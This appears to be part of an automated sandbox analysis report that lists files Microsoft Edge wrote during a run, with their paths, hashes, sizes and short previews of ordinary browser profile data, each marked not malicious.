Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64013246649014
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P78:fwUQC5VwBIiElEd2K57P78
MD5:	10101225085294C4AA9050CEF19E599D
SHA1:	D1E683B46B7E0B1C4DE538392F7ACB4DF6280404
SHA-256:	6F703C25109774C2D844787790FFA45183787FBFA140A5AEAD247638E0987C21
SHA-512:	A8C5867A96AD36813905AD2C01D5C18CBB82D3F1F91DFCE64E48D60EED226F1F16DBD5F3B8FC9DF065D0C641A3245EC6E59556EE4B2C219852B0C43584D334F4
Malicious:	false
Reputation:	unknown
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Reputation:	unknown
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\0ee93075-d4c9-40c7-9c56-27e8f20b37cc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17391), with no line terminators
Category:	dropped
Size (bytes):	17392
Entropy (8bit):	5.471359330527604
Encrypted:	false
SSDEEP:	384:stAPGQSu4is5UfhiCNZvbG/QwR6W0laTYS:s2OXu0Uf3bGIOKaTYS
MD5:	645B52BA59DCEE867FA7BFE580326197
SHA1:	54A135E663F1B79F61F14AE89ED2C71E5219FA7D
SHA-256:	7EA546CF9CB20713C8872CEBA05B2BF1B984FFFD84E7119B02BE01A5A030799D
SHA-512:	66C0B05701AB70061D839D7600BBB97C56C82ACD87E620E68851B88C2635A850AA21F86E0BD34C2ED5C5509C633DE471D70125861386B76897BFAF95E0D6D18B
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376157380864573","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\24950f14-022d-4f56-8f2e-6c6a9fe60b48.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40503
Entropy (8bit):	5.561235757352365
Encrypted:	false
SSDEEP:	768:TMXA3L7pLGLpAyWPi4ffA8F1+UoAYDCx9Tuqh0VfUC9xbog/OVE6Lsbk1rwlk1uV:TMXA3dcpAyWPi4ffAu1jaB6Lck+lk1uV
MD5:	F7462467411254FA555CEA290B0808AD
SHA1:	8E0F25A8498103B58AA28A734D31326209107953
SHA-256:	23DD408E036BEBE72723D14D31D0BB0E52F0194E2A8721A24F31F16D792E0046
SHA-512:	81D45E0D80233C9B1274D764BE95EA875967379F0FBC5855548DC143FB4D0A05DD08C35DC43A7A8C7E9AAA14791CC9EDFF493FD02CD9202E25003EDB696EC5F3
Malicious:	false
Reputation:	unknown
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376157380281616","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376157380281616","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\3922650c-831e-4f53-81af-cad36296d6c8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Reputation:	unknown
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8f6ab5c1-4810-4d8f-a4d7-42827b2166ba.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17226), with no line terminators
Category:	dropped
Size (bytes):	17227
Entropy (8bit):	5.47471751738031
Encrypted:	false
SSDEEP:	384:stAPGQSu4is5UfhiCNZvbG/QwR6WDaTYS:s2OXu0Uf3bGIOnaTYS
MD5:	A99BE890A87F689E778DDF249CDD28EC
SHA1:	EDEDA8EFC800C7149DAD7D73D5B96BC501BC093F
SHA-256:	ACAA015D4077CCAD29E8CC5CD4196E553EE405A433330E69E19663F139046EBB
SHA-512:	3493A4F225D49DF09D79A2BAB561D6E0E0D1CED76EAA519F22D76BFAF630B172FE6FB054D758F23689931869681E6596F58CF2B8CF86FBB43FEB1CAF3E55E278
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376157380864573","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\941f0243-d252-476e-b8de-75e99a413e67.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13802
Entropy (8bit):	5.229149102230844
Encrypted:	false
SSDEEP:	192:stAJ99QTryDiuabatSuypis5UsZihUkSJzNuPkw8InbV+F++Qwg66WDaFIMYzPJ8:stAPGQSu4is5UfhdbG/QwR6WDaTYS
MD5:	4A7FB04711067AFA9194A64F05AEBF20
SHA1:	860D21154C83C06A6038899CB13A040E092C8004
SHA-256:	7644AD024FC36B371C44D8D9D89FA623C3B65726239581FE3F2ABDF6897662B3
SHA-512:	55095584DFBA2AC4A41647ED4946216C766A060933147968ED367D37261C1E84F4EB4AB224615DFDA38F8CA8975E5DD67436CA53BE42A8D2D0DD4F5D2C61DFC6
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376157380864573","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Reputation:	unknown
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Reputation:	unknown
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Reputation:	unknown
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222885775133664
Encrypted:	false
SSDEEP:	24576:v+/PN8FbfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:v+/PN8Jfx2mjF
MD5:	76AEF3D08B436825EFFE4B4A9F92AC91
SHA1:	32BB823FB42E335C3872E76DF0EB09DD470FDF5A
SHA-256:	6E6038FF8D2D42CFFEAA1D0F0A005A2142E6863FF3434FBF8E17898BE4E8A46D
SHA-512:	D8B64CF8A9B29F7068FE163630C24976B3F5E6AE9E54D3B0ECE5574127B5C4E581F9E53AFB039B16EDFF7BE2AA21FEEF05317F4211272ACAEA8E301F86BE35C2
Malicious:	false
Reputation:	unknown
Preview:	...m.................DB_VERSION.1.l.i.................QUERY_TIMESTAMP:arbitration_priority_list4...13340900604462938.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.112356488818882
Encrypted:	false
SSDEEP:	6:HUS8c93+q2P923oH+Tcwt9Eh1tIFUt8YUS8cEZmw+YUS8cxOLf0PXUS8cbGFFeLf:wv4Yeb9Eh16FUt8L/+ybcTKKo9Dh
MD5:	D0AD5DAF8E26EC9BE0CF52C7B3480C7E
SHA1:	023D389B26189A3B1B798D6A5B14928DF126ECB5
SHA-256:	E8861B02034E4B42EF1377857FD32EA6F71F1E2EDCA21C2ED178F230BA1A683B
SHA-512:	C0CB0EA2BC11FFC518693E0B3C5D4C70281294E4995D1361E6851BEFF36E58E427C62AAF47FFC96FB750AB8222DDAAA071F1C2065BB9DF134DD164F5E36168BC
Malicious:	false
Reputation:	unknown
Preview:	2024/11/15-10:19:25.823 2028 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/15-10:19:25.824 2028 Recovering log #3.2024/11/15-10:19:25.850 2028 Level-0 table #3: started.2024/11/15-10:19:26.227 2028 Level-0 table #3: 739858 bytes OK.2024/11/15-10:19:26.234 2028 Delete type=0 #3.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.112356488818882
Encrypted:	false
SSDEEP:	6:HUS8c93+q2P923oH+Tcwt9Eh1tIFUt8YUS8cEZmw+YUS8cxOLf0PXUS8cbGFFeLf:wv4Yeb9Eh16FUt8L/+ybcTKKo9Dh
MD5:	D0AD5DAF8E26EC9BE0CF52C7B3480C7E
SHA1:	023D389B26189A3B1B798D6A5B14928DF126ECB5
SHA-256:	E8861B02034E4B42EF1377857FD32EA6F71F1E2EDCA21C2ED178F230BA1A683B
SHA-512:	C0CB0EA2BC11FFC518693E0B3C5D4C70281294E4995D1361E6851BEFF36E58E427C62AAF47FFC96FB750AB8222DDAAA071F1C2065BB9DF134DD164F5E36168BC
Malicious:	false
Reputation:	unknown
Preview:	2024/11/15-10:19:25.823 2028 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/15-10:19:25.824 2028 Recovering log #3.2024/11/15-10:19:25.850 2028 Level-0 table #3: started.2024/11/15-10:19:26.227 2028 Level-0 table #3: 739858 bytes OK.2024/11/15-10:19:26.234 2028 Delete type=0 #3.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old~RF64190.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.112356488818882
Encrypted:	false
SSDEEP:	6:HUS8c93+q2P923oH+Tcwt9Eh1tIFUt8YUS8cEZmw+YUS8cxOLf0PXUS8cbGFFeLf:wv4Yeb9Eh16FUt8L/+ybcTKKo9Dh
MD5:	D0AD5DAF8E26EC9BE0CF52C7B3480C7E
SHA1:	023D389B26189A3B1B798D6A5B14928DF126ECB5
SHA-256:	E8861B02034E4B42EF1377857FD32EA6F71F1E2EDCA21C2ED178F230BA1A683B
SHA-512:	C0CB0EA2BC11FFC518693E0B3C5D4C70281294E4995D1361E6851BEFF36E58E427C62AAF47FFC96FB750AB8222DDAAA071F1C2065BB9DF134DD164F5E36168BC
Malicious:	false
Reputation:	unknown
Preview:	2024/11/15-10:19:25.823 2028 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/15-10:19:25.824 2028 Recovering log #3.2024/11/15-10:19:25.850 2028 Level-0 table #3: started.2024/11/15-10:19:26.227 2028 Level-0 table #3: 739858 bytes OK.2024/11/15-10:19:26.234 2028 Delete type=0 #3.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	634118
Entropy (8bit):	6.012076153176521
Encrypted:	false
SSDEEP:	12288:Izbw8GY2ejbOvmyAya+0Wic6MipKVK6Mi7t/J2L6sKhEea:IzU8D2efOrAkFBvK1i7t/JKRkEF
MD5:	5342DF88E43C610510D21FF48BD3B3EB
SHA1:	6E797C69D50F7ABA7930B9552EFC77A03770CE05
SHA-256:	CC14076BAD72B8C598C333376B75DD1115A6D63EE9C56F728B1C6A9BBE006124
SHA-512:	CE50BCC88027471FCD9D91CB92618E26870D03E13BC7D21AD95BF2A04E2CD0AA1D1100F3DE642769EB4ECC73C801BD7CC8CA0459D06E0B46F886D7B2D26D61F9
Malicious:	false
Reputation:	unknown
Preview:	...m.................DB_VERSION.1./...................BLOOM_FILTER:..&{"numberOfHashFunctions":8,"shiftBase":8,"bloomFilterArraySize":3753327,"primeBases":[5381,5381,5381,5381],"supportedDomains":"VQHYZzT0XtuKTcqDVelX21guELX0sfOKSAJxyLL6qNxG0ChfNYwfgyDvgq1Nmu/lioNEwIH6a0ghPiuQ1zVrNohy/Sun+nyPu38fkNjWdWR/1fisl+1Ii4clfFSDlkGIOxsUBY1eUYV+YKIRbfNqzqGSO4uSJ4KAqh/76ukeq/c/X8TOy6vmQWzmEUhbBHqzftFJCeQcSLXsGCBABHPCQYSIdO4YYPnpswWn6m3T8/743yjeQnHnPqtzK5QTJB3j4NFe07hK5adE3g4mCiRgLVosf1GIJzh+/QGVREfSrQ6AKrQ4eS4DOcMdqwcJtXbv0xlftvv3rjRwYU6D8Hf4A9sPppKLtF2URoSFihjar7JhJ5VTCIMQDYzGuvqLB29lAe9gxUFKeDPnb0yFzRnrQ9vWDGdEqX3/l69jc3KrU+Hu+u3/J4IVdBGwAws8fHCMSlEaq6CEghBQuwsqgRsUKYajWFckllEkowcA/rf/FBbcRWCKondDYxpxngD58p0IT00UGnzb5IKgAKpzqWKsPRL6v1292eu90NB/txqVsH0hPlq5bSyykf6+inTwuJVOKhj9f1UN2VspIFJoIMU3ynS5kQzwsOfk2BTdIOgIFJkAsSQ/u0Fk5JkgK5gGddhbk9A5BF6fmvXaydFGfm2vfSCIk+owQox7SkTOU7ErisREMOM5UhuGfUfY4mFbxxGVzAhjYw0GA/axhBJsyaOzPR4eQ5XXE7NpLev/VLAG0jJINPtMxHlgNZ1pQJK2MlUCklhMGxaVFSOVhrDNDLe+TotQPmGcGD+DRPu

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000005.ldb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	634093
Entropy (8bit):	6.011373176932516
Encrypted:	false
SSDEEP:	12288:8zGw8GK2njwovyCyya+IWicVMi/hKK6Mi7m/J2LusKhETn:8zz8/2nso5yuFKDK1i7m/JKFkET
MD5:	BD2477B7E92299997D7A59CF9B6A1F35
SHA1:	615CA702581D07D33CADF21E470ACF37B2EEADB8
SHA-256:	58DBD75FB7C2C206E1F7C3EF92210A9EB04E62C698B47C166E90392056621DCE
SHA-512:	DA4D4FCE1C727963EDE19C10825A4B7C981432B640CE22BF42EFB35D8141165A0E88C4C595C03C732221CCC28A9B4726EF2BE70E259E42CA8BC16B163CD299A5
Malicious:	false
Reputation:	unknown
Preview:	....&BLOOM_FILTER:........{"numberOfHashFunctions":8,"shiftBase":8,"bloomFilterArraySize":3753327,"primeBases":[5381,5381,5381,5381],"supportedDomains":"VQHYZzT0XtuKTcqDVelX21guELX0sfOKSAJxyLL6qNxG0ChfNYwfgyDvgq1Nmu/lioNEwIH6a0ghPiuQ1zVrNohy/Sun+nyPu38fkNjWdWR/1fisl+1Ii4clfFSDlkGIOxsUBY1eUYV+YKIRbfNqzqGSO4uSJ4KAqh/76ukeq/c/X8TOy6vmQWzmEUhbBHqzftFJCeQcSLXsGCBABHPCQYSIdO4YYPnpswWn6m3T8/743yjeQnHnPqtzK5QTJB3j4NFe07hK5adE3g4mCiRgLVosf1GIJzh+/QGVREfSrQ6AKrQ4eS4DOcMdqwcJtXbv0xlftvv3rjRwYU6D8Hf4A9sPppKLtF2URoSFihjar7JhJ5VTCIMQDYzGuvqLB29lAe9gxUFKeDPnb0yFzRnrQ9vWDGdEqX3/l69jc3KrU+Hu+u3/J4IVdBGwAws8fHCMSlEaq6CEghBQuwsqgRsUKYajWFckllEkowcA/rf/FBbcRWCKondDYxpxngD58p0IT00UGnzb5IKgAKpzqWKsPRL6v1292eu90NB/txqVsH0hPlq5bSyykf6+inTwuJVOKhj9f1UN2VspIFJoIMU3ynS5kQzwsOfk2BTdIOgIFJkAsSQ/u0Fk5JkgK5gGddhbk9A5BF6fmvXaydFGfm2vfSCIk+owQox7SkTOU7ErisREMOM5UhuGfUfY4mFbxxGVzAhjYw0GA/axhBJsyaOzPR4eQ5XXE7NpLev/VLAG0jJINPtMxHlgNZ1pQJK2MlUCklhMGxaVFSOVhrDNDLe+TotQPmGcGD+DRPuFpGrocpZYDMCB7dnuyUBGBzriaBN54A7akXRAEGHOY0q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Reputation:	unknown
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.3541537317057335
Encrypted:	false
